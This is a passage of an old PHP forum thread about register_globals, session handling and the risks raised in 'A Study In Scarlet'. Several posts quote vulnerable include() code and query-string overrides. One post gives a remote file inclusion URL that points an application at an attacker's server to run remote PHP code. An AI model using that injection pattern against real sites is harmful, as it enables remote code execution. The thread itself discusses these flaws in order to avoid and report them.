Page 5 of 18 First ... 3456715 ... Last
  • Jump to page:
    #61
  1. No Profile Picture
    aHVoPw==
    Devshed Beginner (1000 - 1499 posts)

    Join Date
    Jan 2001
    Posts
    1,058
    Rep Power
    15
    I haven't really read this whole thread, but I kinda want to get something cleared up

    is this right?
    1) there are cookies which are stored until the expiration date
    2) there are sessions which:
    a) uses cookies that expires when closes browser (is that right?) and
    b) uses the PHPSESSID var through the url and doesn't use cookies and stores the data on the server.

    I sometimes get all confused...
    Visit my new IIS Tutorial Series!
  2. #62
  3. No Profile Picture
    OpenBSD fella
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jan 2002
    Location
    Chile, South America
    Posts
    11
    Rep Power
    0
    1) yeah

    2) Right: Read on:

    Sessions 'remember' their state either by checking a cookie, or by using an ID hash (PHPSESSID)

    If transparent_session_id is set, then PHP will use the latter if cookies arent supported. Personally, i dont like cookies and try not to use them, but some ppl just hate the URL being cluttered up with the long and messy session ID.

    Hope this sheds some light


    .pd
  4. #63
  5. No Profile Picture
    Contributing User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jun 2000
    Posts
    35
    Rep Power
    14
    I have just read the "A Study In Scarlet" article, and i think Shaun Clowes has some vaild points. One thing he emphisises is the problems caused by php's versatility combined with flawed code, such as his example of:
    PHP Code:
     <?php
      
    include($libdir "/languages.php");
     
    ?>
    If it is possible to set $libdir, this would allow attackers to use http and ftp paths in $libdir, by default, and execute their own code.

    My thoughts about powerful (and potentially dangerous) behaviours (ftp/http in file paths, file upload, etc) is that perhaps php should be more cautious, and by default dissallow them, and allow them on a per file basis. Perhaps this could be done by adding a config tag to php pages e.g.:
    PHP Code:
    <?phpconfig
    allow fileuploads
    ;
    ?>
    <?php
    //php code as normal goes here
    ?>
  6. #64
  7. No Profile Picture
    OpenBSD fella
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jan 2002
    Location
    Chile, South America
    Posts
    11
    Rep Power
    0
    Im not 100% sure but i think you can change some settings on the php.ini for each php program, like set_time_limit()

    You should check out also the security improvements in php 4.1, which mainly are just small changes to help writing secure code.

    i.e. turn register_globals off, and use the _GET and _POST globals, etc (I used to use the HTTP_GET_VARS etc, though it was so nasty..)

    .pd
  8. #65
  9. No Profile Picture
    Contributing User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jun 2000
    Posts
    35
    Rep Power
    14
    HTTP_GET_VARS and HTTP_POST_VARS is horrible but would help security, especially that of begginers, or rushed developers! Perhaps it would be better if we could specify a list of get, post and cookie vars to make global in each file?

    Maybe a better solution would be to attack the source of the problem, rather than change the language.

    Maybe php should make more use of warnings, and warn people that a variable may be used without ever being set, so code like:

    PHP Code:
    // some database select code here
    if ($num_results>0) {
    $auth=1;
    }
    if (
    $auth) {
    // main page for authorised ppl only

    would throw an error like:
    Warning: line xxx, $auth may not have been set.

    I remember somthing like this in java, which came in really usefull.

    Perhaps it should do this on a per file basis (including any included files), as an include file with:
    PHP Code:
    include($libdir "/languages.php"); 
    could be executed on it's own.

    One solution i came up with relating to the problem of include files containing dodgy code like above, was to put the code in the included file in a function, that way it couldnt be run on it's own!
  10. #66
  11. No Profile Picture
    Contributing User
    Devshed Intermediate (1500 - 1999 posts)

    Join Date
    Jul 2001
    Location
    Oslo
    Posts
    1,516
    Rep Power
    14
    Originally posted by pezzer
    Maybe php should make more use of warnings, and warn people that a variable may be used without ever being set, so code like:

    PHP Code:
    // some database select code here
    if ($num_results>0) {
    $auth=1;
    }
    if (
    $auth) {
    // main page for authorised ppl only

    would throw an error like:
    Warning: line xxx, $auth may not have been set.
    Actually, PHP does this. One of the most important things to do when developing PHP is to do it with the error level set to max (E_ALL).

    As for HTTP_*_VARS, check out the changelog for the 4.1 release, some important changes there.

    Most of the issues from this article can be dealt with fairly easily, and with the 4.1 release the PHP developer group has taken steps towards educating newbies at an early stage.
    --
    Regards
    André Nćss

    Puritanism: The haunting fear that someone, somewhere may be having fun
  12. #67
  13. No Profile Picture
    Contributing User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jun 2000
    Posts
    35
    Rep Power
    14
    Correct me if i'm wrong, but php warns if it has come across a variable which HAS NOT been defined. It doesnt warn that your code WOULD ALLOW a variable to be undefined. There is a big difference here. Imagine an included library file, and the code in this file may assume that you will always have set a variable from the code that is including it. This would be open to abuse by a hacker accessing the library file directly supplying their own value for that variable. If you run this in php, because that variable is set every time the library file reaches it, it wont throw any warnings (assuming you dont run the library file on its own!). I am suggesting that it should warn of this type of problem.
  14. #68
  15. film at 11
    Devshed Newbie (0 - 499 posts)

    Join Date
    Aug 2000
    Location
    Portland, OR
    Posts
    413
    Rep Power
    14
    Actually, PHP does this. One of the most important things to do when developing PHP is to do it with the error level set to max (E_ALL).

    As for HTTP_*_VARS, check out the changelog for the 4.1 release, some important changes there.

    Most of the issues from this article can be dealt with fairly easily, and with the 4.1 release the PHP developer group has taken steps towards educating newbies at an early stage.
    it's important to note that even though they're "deprecating" register_globals, the thing that lets you skip using the HTTP_*_VARS arrays, they're not removing it. in fact, they state that they won't remove it in the forseeable future (i think) because there's so much code out there that's dependant on it.

    so, it'll still be possible to write code with register_globals on. now, i'm confused (having not read this whole thread) as to why that's a bad thing *in and of itself*. it's quite possible to write code that's secure while still using register_globals as a matter of convenience. before taking an action based on user input there should be checks against the database and/or session to ensure that the action can be taken by the current user, and other checks to make sure all required information is present and accounted for in the request. if that was offtopic or redundant, you can ignore it and make fun of me behind my back.

    also, why is it so important to develop with max warning level? i can't believe how annoying it is to always get a warning when i call a function with fewer parameters than it declares, for example.
  16. #69
  17. /(bb|[^b]{2})/

    Join Date
    Nov 2001
    Location
    Somewhere in the great unknown
    Posts
    5,163
    Rep Power
    792
    One point to developing with the max warning level is that you (the developer) catches all possible bugs while it is still in the development stage.
    You know how to deal with/correct warnings and errors as they occur, but you users most of the time will not.
    If you catch more possible break points, there will be that many less in your script when the user is using it.
  18. #70
  19. film at 11
    Devshed Newbie (0 - 499 posts)

    Join Date
    Aug 2000
    Location
    Portland, OR
    Posts
    413
    Rep Power
    14
    One point to developing with the max warning level is that you (the developer) catches all possible bugs while it is still in the development stage
    yeah, but that's what QA people are for. sometimes I actually like working in an office environment

    back to the point, which was that I don't see why that's going to help me write more secure code. I could write something like what pezzer did a few posts back, but that wouldn't generate an error because it's perfectly legal in php to use an unset variable in a conditional. that's one of the things I like about php- it bends over backwards to allow me to write code fast and dirty, if I so choose.

    imho what it comes down to is this: php makes it more difficult to write so-called "correct" or "secure" code, or whatever, i.e. never using unset variables and such unsecure things, and less difficult to hack in a feature that your customers want and do it faster than anybody else. One time I did a huge project in jsp/servlets, and man do I hate maintaining that sonuvabitch. a project built with php lets me get in, make a change, and get done so I can get on to more important things like wasting time browsing forums . if I do something wrong, so be it. but if I'm just a little careful I can avoid doing hugely stupid things, security-wise, while still adding features quickly.
  20. #71
  21. /(bb|[^b]{2})/

    Join Date
    Nov 2001
    Location
    Somewhere in the great unknown
    Posts
    5,163
    Rep Power
    792
    I think that is part of the point behind the register_globals being off and using HTTP_*_VARS. 1)You don't have to re-invent the wheel as far as checking where it came from & 2)You are forced to be a little more secure in the process.
  22. #72
  23. No Profile Picture
    Contributing User
    Devshed Novice (500 - 999 posts)

    Join Date
    Sep 2000
    Posts
    763
    Rep Power
    0

    Exclamation


    Hey,

    I don't fully understand why using the HTTP_*_VARS is more secure. Can't a hacker use the HTTP_*_VARS just as well as he could use the variables generated with register_globals on?
    What makes it more secure, other than having to type a few more characters?

    Eclipce
  24. #73
  25. No Profile Picture
    Dev
    Devshed Beginner (1000 - 1499 posts)

    Join Date
    Jan 2001
    Posts
    1,436
    Rep Power
    41
    Eclipse:

    As far as I know you cannot make your own counterfeits of $HTTP_*_VARS in the same way you could do that with globals.

    I do not believe this will work:

    http://example.com/script.php?HTTP_POST_VARS[blah]=blah

    Someone may want to try that to verify.

    However if all you did was use the variable blah with register_globals on, you could provide your own setting for blah like this:

    http://example.com/script.php?blah=12345



    merkinmuffley:

    I don't know if I would say PHP makes it moer difficult to write secure code. I haven't had any problems doing that. I would say that certain over-used features in PHP (blame the tutorials maybe) make it easy to create unsecure programs. It's not necessarily difficult to write secure programs. You just have to know what to avoi.d
  26. #74
  27. No Profile Picture
    Gödelian monster
    Devshed Regular (2000 - 2499 posts)

    Join Date
    Jul 1999
    Location
    Central Florida, USA
    Posts
    2,307
    Rep Power
    61
    Someone may want to try that to verify.
    Verified. What you will end up with is

    $HTTP_GET_VARS["HTTP_GET_VARS"][blah] = "blah";

    So you can never hijack values in the "top-level" array called $HTTP_GET_VARS. But this changes nothing. Even with register_globals on, query string values can not replace a variable whose value has been set in the script, anyway.

    As always, the real issue is "what exactly are you doing with the GET vars?" I agree to some extent with the others: if you are doing something insecure with variables from the GET array, without carefully checking their value first, you are just asking for trouble, and this applies with or without globals registered.

    For example, in item 3, in your (JeffCT) first post in this thread (3. Try not to use input variables as globals. ), you mention how it is possible for a user to fake a POST variable with a simple GET variable. So your solution is to check the actual HTTP_POST_VARS array. This might make a difference to the casual hacker toying with the URL string, but anyone who really knows HTTP knows that you can initiate a POST request from a number of tools, even Telnet, if you want. Thus this distinction really makes no difference to the determined hacker.

    The only answer is to follow good practice, and use constants for things that ARE constants, and explicitly check all user input: enough said.

    So is there any good reason not to register globals?

    Well, for large-scale development, with different programmers working on different modules, it is easy to see how the issue of code integrity and cleanness can come up. If you allow any old GET or POST variable to become a regular variable, you can "pollute the global namespace", to the point where code just gets unwieldy, or a developer might get careless and use variables without considering their source. So IMHO, not registering globals is more a matter of good code management, and preventing the occasional "Ooops" than security.
    The real n-tier system:

    FreeBSD -> PostgreSQL -> [any_language] -> Apache -> Mozilla/XUL

    Amazon wishlist -- rycamor (at) gmail.com
  28. #75
  29. No Profile Picture
    Gödelian monster
    Devshed Regular (2000 - 2499 posts)

    Join Date
    Jul 1999
    Location
    Central Florida, USA
    Posts
    2,307
    Rep Power
    61
    Right after posting this, I found a classic example of the kind of trouble you can run into with web-based apps:

    A certain PHP database management application uses a session variable called $PATH_INCLUDE to set the include path for all the main header files in the system. Thus, if the user loses his/her session, all includes fail, since the path is lost. This may seem trivial, but now, any half-hearted hacker realizes it is quite easy to clear browser session cookies, and then simply set your own include path, with filename.php?PATH_INCLUDE=http://your-server/ .

    Then, all you have to do is put a PHP script named after one of the include files on your server, and the application obligingly includes your remote script, executing any valid PHP output on their server. This way, you can hijack their application without even having a valid login to the database.

    Now, to be fair, this application is still in alpha development, so I simply emailed the developers, explaining the problem. But still, this is an application developed by serious developers, who should know better.

    Yes, I know that this problem could be fixed easily by turning off register_globals, but if this is a script to be distributed as open source, you can't expect everyone to do that. Values like this should not be session variables. They should not be variables at all! Much better to simply use constants to set values such as this. Some of you have heard me rant about this before. Values that are not meant to be changed should NOT be variables. Constants are a great way to tighten up your application. No one can fake a constant by playing with the URL. Everything that is set as a central included "application resource", such as database names, hostname, password, paths, etc... should be done this way.
    The real n-tier system:

    FreeBSD -> PostgreSQL -> [any_language] -> Apache -> Mozilla/XUL

    Amazon wishlist -- rycamor (at) gmail.com
Page 5 of 18 First ... 3456715 ... Last
  • Jump to page:

IMN logo majestic logo threadwatch logo seochat tools logo